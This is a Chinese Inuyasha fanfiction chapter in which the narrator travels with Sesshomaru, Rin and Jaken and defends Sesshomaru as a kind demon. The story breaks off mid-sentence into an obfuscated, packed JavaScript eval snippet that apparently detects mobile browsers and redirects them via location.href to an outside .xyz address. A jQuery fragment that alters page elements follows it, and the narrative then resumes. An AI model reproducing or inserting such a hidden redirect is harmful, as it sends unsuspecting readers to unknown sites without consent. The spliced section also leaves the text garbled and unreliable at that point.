我心里一紧,下意识想躲,可最后还是逼着自己站在原地。我深吸口气,尽量让表情看起来没啥恶意,对着戈薇轻轻点了点头:“是我。上次……谢谢你们打奈落的城堡。”我顿了顿,声音放轻,可带着点真心:“给了我……逃走的机会。”
戈薇更惊讶了,她看看我,又看看前头背对着我们、好像啥都没兴趣听的杀生丸,眼神更懵了——显然想不通我为啥会跟杀生丸在一起,还跟她道谢。
眼看杀生丸已经迈步走了,邪见也赶紧跟上,我犹豫了下,还是对着戈薇,还有刚凑过来的珊瑚、弥勒,飞快说了句——像解释,又像在说一个连我自己刚更确定的事儿:
“杀生丸大人他……不会真的杀了弟弟的。”我的目光不由自主追着那道银影,声音轻,却透着股奇怪的笃定,“他是个……好妖怪。”
说完我没再停,拉起铃的手,快步跟上杀生丸和邪见的步子。
留下戈薇他们仨站在原地,你看我我看你,脸上全是震惊和不敢信,跟听了天方夜谭似的。
走出一段路,我还能感觉到戈薇那满是探究和不可思议的目光落在我背上。
可我却悄悄抬起头,望着前头那道依旧冰冷、却好像没那么遥不可及的银影,心里反倒静了下来,就是有点复杂。
风暴好像暂时过去了。但我知道,关于奈落,关于他想吞掉杀生丸的野心,关于以后的路,还有好多不知道的风浪在等着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261569|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们。
邪见跟在杀生丸旁边,还在碎碎念:“大人刚才就该让那犬夜叉自生自灭!要不是您出手,他指不定疯到啥时候!还有戈薇那丫头,谢完就完了,连句好听的都不会说!”
杀生丸没搭理他,脚步没停,金眼睛还是望着前方,好像山隘的风、身后的动静,都跟他没关系。
铃拉着我的手,小声问:“姐姐,刚才那个红眼睛的大哥哥,是杀生丸大人的弟弟吗?他好吓人哦。”
我低头揉了揉她的头,笑着说:“是呀,他叫犬夜叉。刚才是不小心变成那样了,现在已经没事了。”
“哦。”铃似懂非懂地点点头,又抬头看了看前头的杀生丸,“杀生丸大人好厉害,一下子就把他打晕了。”
“嗯,很厉害。”我应着,目光又落在那道银影上。
风还在刮,砂石打在衣服上“沙沙”响。杀生丸的银发被风吹得飘起来,衣摆也猎猎动着,可他的步子始终稳得很,好像不管多大的风,都吹不动他。
我想起刚才他说“用铁碎牙”时的样子——明明对犬夜叉总是冷冰冰的,甚至以前还老跟犬夜叉打架,可真到关键时候,还是会出手帮一把。邪见总说他冷漠,戈薇他们也觉得他不好接近,可只有跟在他身边的我才知道,他的好,藏得有多深。
就像上次草坡上那声“或许”,像这次主动说铁碎牙能解妖化,都是他不怎么会表达的温柔。
走着走着,杀生丸突然停下脚步,侧过头往山隘那边瞥了一眼——好像在确认啥。我顺着他的目光看过去,只能看见翻滚的乌云和刮个不停的风。
“杀生丸大人,怎么了?”邪见赶紧问。
杀生丸没说话,转回头接着往前走,只是脚步好像比刚才快了那么一点点。
我心里明白,他大概是怕奈落的人突然冒出来,不想跟我们在这儿多耽搁。毕竟那乌云里的邪气,可不是闹着玩的。
铃走得有点累了,小步子慢了些。我刚想停下来歇会儿,就见前头的杀生丸脚步也缓了缓,好像在等我们。
我心里一动,赶紧拉着铃加快脚步跟上去。邪见也没注意到这细节,还在那儿嘟囔:“刚才犬夜叉的女人看咱们的眼神真奇怪,还有那个奈落的分身,居然跟咱们一起走,真是怪事年年有,今年特别多……”
我没搭话,只是偷偷看着杀生丸的背影。风把他的银毛吹得飘起来,阳光偶尔从乌云缝里漏下来,洒在他头发上,泛着细碎的光,居然没那么冷了。
刚才戈薇他们肯定觉得我说“杀生丸是好妖怪”是疯了,可我是真这么觉得。他是冷,是不爱说话,是对很多事都漠不关心,可他从没想过害无辜的人——比如铃,比如我。甚至对犬夜叉,他也从来没下过死手。
走着走着,乌云慢慢散了点,风也小了。远处的山露出点轮廓,草色也渐渐显了出来。
铃指着远处的花,兴奋地喊:“姐姐你看!那边有好多小花!跟我编的花环一样!”
我笑着点头:“等走过去,咱们再摘几朵好不好?
“好!”铃开心地应着,小步子又快了。
杀生丸好像听见了我们的话,脚步没停,可嘴角好像极快地抿了一下——不是冷着脸的那种,倒像是……有点放松?
我赶紧收回目光,怕自己看错了。毕竟这冷冰冰的大妖,要是真笑了,那可真是比见着奈落改邪归正还稀罕。
邪见终于闭嘴了,大概是走累了,只是埋头跟着杀生丸。
空气里没了山隘的砂石味儿,慢慢有了点青草的香。我拉着铃的手,跟着前头的银影,一步步往前走。
虽然知道前头还有奈落这大麻烦,还有好多危险等着,可心里却没那么慌了。有杀生丸在,好像再难的路,也能走下去。
我偷偷瞅了眼杀生丸的侧脸——阳光洒在他脸上,金眼睛亮闪闪的,没了刚才的冷意,竟有几分好看。
“姐姐,你在看啥?”铃好奇地问。
我赶紧收回目光,笑着说:“没看啥,看前面的路呢。咱们快跟上杀生丸大人,别掉队了。”
“嗯!”
风渐渐停了,乌云彻底散了,太阳出来了,暖乎乎地洒在身上。前头的银影在阳光下走着,好像也染上了点暖意。
我心里悄悄想着:下次要是再有人说杀生丸是坏妖怪,我肯定要跟他们说——你们都看错啦,他只是个不怎么会表达的好妖怪而已。
想着想着,我忍不住轻轻笑了。拉着铃的手,快步跟上了那道银影。前路再远,好像也没那么难走了。